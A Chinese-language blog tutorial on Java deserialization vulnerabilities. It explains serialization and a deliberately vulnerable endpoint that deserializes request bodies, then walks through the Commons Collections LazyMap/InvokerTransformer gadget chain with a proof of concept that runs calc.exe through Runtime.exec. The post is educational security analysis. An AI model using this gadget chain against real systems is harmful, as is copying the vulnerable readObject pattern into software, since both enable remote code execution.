初探Java反序列化

1.缘起

在Java中,序列化是将对象转换成数据字节流,反序列化是将数据字节流转换成对象。由于Java的开发生态里各种第三方库组件相互依赖,当Java开发中常用的基础底层组件出现安全问题时,就会导致大量基于这些底层库构建的上游应用受到威胁。反序列化漏洞是在各种Java基础底层库里常见的漏洞之一。面试也是不可绕过的话题。

2.反序列化基础

如果要对一个对象进行序列化或者反序列化,这个对象必须要实现java.io.serializable接口。
写一个Person类:

public class Person implements Serializable {  
    private String name;  
    public Person(String name){  
        this.name = name;  
    }  
	//反序列化时会调用此方法
    private void readObject(ObjectInputStream ois) throws IOException {
        System.out.println("readObject method");  
        //从数据流里解码一个字符串,设置为name属性
        name = ois.readUTF();  
    }  
    //序列化时调用此方法
    private void writeObject(ObjectOutputStream oos) throws IOException {  
        System.out.println("writeObject method");  
        //将name值写进数据流
        oos.writeUTF(name);  
    }  
}

在主函数中,创建一个Person对象,对他进行序列化,再对生成的序列化字符串进行反序列化。

public static void main(String[] args) throws IOException, ClassNotFoundException {  
    Person person = new Person("zhangsan");  
    ByteArrayOutputStream baos=new ByteArrayOutputStream();  
    ObjectOutputStream oos = new ObjectOutputStream(baos);  
    oos.writeObject(person);//对person进行序列化  
    byte[] bytes = baos.toByteArray();//得到序列化后的字节数组  
  
    ByteArrayInputStream bais =new ByteArrayInputStream(bytes);  
    ObjectInputStream ois = new ObjectInputStream(bais);  
    Person p = (Person)ois.readObject(); //对bytes数组进行反序列化,得到Person对象
    System.out.println(p.toString());  
}
output:
writeObject method
readObject method
Person@568db2f2

可以看到,在执行ObjectOutputStream类的writeObject方法时,Person的writeObject方法也得到了执行。readObject同理。

3.反序列化漏洞原理

当Java应用程序对来自外部输入的不可信数据进行反序列化操作时,就形成了反序列化漏洞。

//获取Http请求数据包body部分的字节流
InputStream input = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(input);
//对不可信数据进行反序列化,造成了反序列化漏洞
Object obj = ois.readObject();

这时,假设应用程序中还有一个类:

public class Dummy implements Serializable {  
    private String cmd;  
    public Dummy(String cmd){  
        this.cmd = cmd;  
    }  
    private void readObject(ObjectInputStream ois) throws IOException {  
        cmd = ois.readUTF();  
        Runtime.getRuntime().exec(cmd);  
    }  
    private void writeObject(ObjectOutputStream oos) throws IOException {  
        oos.writeUTF(cmd);  
    }  
}

可以用以下程序得到序列化字节数组:

Dummy dummy = new Dummy("calc");//弹出计算机命令  
ByteArrayOutputStream baos = new ByteArrayOutputStream();  
ObjectOutputStream oos = new ObjectOutputStream(baos);  
oos.writeObject(dummy);  
byte[] bytes = baos.toByteArray();//恶意字节流  
  
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);  
ObjectInputStream ois = new ObjectInputStream(bais);  
Dummy dummy1 = (Dummy)ois.readObject();

我们可以访问接口将恶意字节流作为参数传给应用程序进行处理,当应用程序对字节流进行反序列化时会触发Dummy类的readObject方法,当进行反序列化时计算机程序被执行了。

4.反序列化漏洞利用

反序列化攻击成功需要具备两个条件:

  1. 程序本身对用户可控的不可信数据进行了反序列化处理。
  2. 程序中存在Dummy这样做了危险操作的序列化接口实现类。
    在现实的系统中,很少会给出Dummy这样简单明了的危险Serializable接口,往往需要组合多个不同Serializable接口实现类的方法调用,形成调用链。

以commons-collections反序列化漏洞为例子,新建一个java项目,在项目中导入commons-collections3.1.2的jar包。执行以下代码,可以弹出计算机:

public static void main(String[] args) throws IOException, ClassNotFoundException {  
    Map normalMap = new HashMap();  
    Transformer[] transformers = new Transformer[] {  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),  
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),  
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})  
    };  
    Transformer transformerChain = new ChainedTransformer(transformers);  
    Map transformedMap = LazyMap.decorate(normalMap,transformerChain); 
    //漏洞触发 
    transformedMap.get("random_key");  
}

Commons Collections库里提供了如List、Collection、Map等基础数据结构类的扩展实现类。其中的LazyMap类是Map的实现类,也是Serializable的实现类。Commons Collections库里还提供了很多Transforme类,这些类可以对数据结构类进行修饰。LazyMap类中有一段代码:

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {  
    private static final long serialVersionUID = 7990956402564206740L;  
    protected final Transformer factory;  
    public static Map decorate(Map map, Transformer factory) {  
        return new LazyMap(map, factory);  
    }  
    protected LazyMap(Map map, Transformer factory) {  
        super(map);  
        if (factory == null) {  
            throw new IllegalArgumentException("Factory must not be null");  
        } else {  
            this.factory = factory;  
        }  
    }  
    public Object get(Object key) {  
        if (!this.map.containsKey(key)) {  
	        //factory的类型是Transformer
            Object value = this.factory.transform(key);  
            this.map.put(key, value);  
            return value;  
        } else {  
            return this.map.get(key);  
        }  
    }  
}

实例化LazyMap的时候会将Transformer类设置成LazyMap的一个属性,这就是修饰的过程。当LazyMap的get方法被调用时,就会触发对应Transformer类的transform方法。
在Commons Collections库里也有很多Transformer类,在上面的poc中用到了三种,ConstantTransformer、InvokerTransformer、ChainedTransformer。这些类都实现了Serializable接口,重点关注这些类的transform方法,首先是ConstantTransformer:

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant; 
    //接收任意一个对象,设置为iConstant成员变量 
    public ConstantTransformer(Object constantToReturn) {  
        this.iConstant = constantToReturn;  
    }  
	//无论input是什么都返回iConstant对象
    public Object transform(Object input) {  
        return this.iConstant;  
    }  
}

关键在于InvokerTransformer类,该类的transform方法可以通过反射来调用特定的方法:

public class InvokerTransformer implements Transformer, Serializable {   
    private final String iMethodName;  
    private final Class[] iParamTypes;  
    private final Object[] iArgs;  
    //设置参数
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;  
        this.iParamTypes = paramTypes;  
        this.iArgs = args;  
    }  
    public Object transform(Object input) {  
        if (input == null) {  
            return null;  
        } else {  
            try {  
	            //通过反射机制调用用户定义方法
                Class cls = input.getClass();  
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);  
                return method.invoke(input, this.iArgs);  
            } catch (NoSuchMethodException var4) {  
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");  
            } catch (IllegalAccessException var5) {  
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");  
            } catch (InvocationTargetException var6) {  
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);  
            }  
        }  
    }  
}

ChainedTransformer接收一个Transformer数组作为参数,该类的transform方法会按顺序调用Transformer数组里所有Transformer类的transform方法,并且上一个transform执行的结果会作为下一个transform的输入:

public class ChainedTransformer implements Transformer, Serializable {    
    private final Transformer[] iTransformers;  
    public ChainedTransformer(Transformer[] transformers) {  
        this.iTransformers = transformers;  
    }  
    public Object transform(Object object) {
	    //链式调用transform方法  
        for(int i = 0; i < this.iTransformers.length; ++i) {  
            object = this.iTransformers[i].transform(object);  
        }  
        return object;  
    }   
}

所以在poc中transformer最后执行的代码等同于:

Runtime.class.getMethod("getRuntime",null).invoke(null,null).exec("calc.exe");

5.总结

本文简单介绍了Java的反序列化,并以Commons Collections库为例对反序列化漏洞进行了简单的分析。

posted @ 2023-07-24 16:45  ordigard  阅读(81)  评论(0编辑  收藏  举报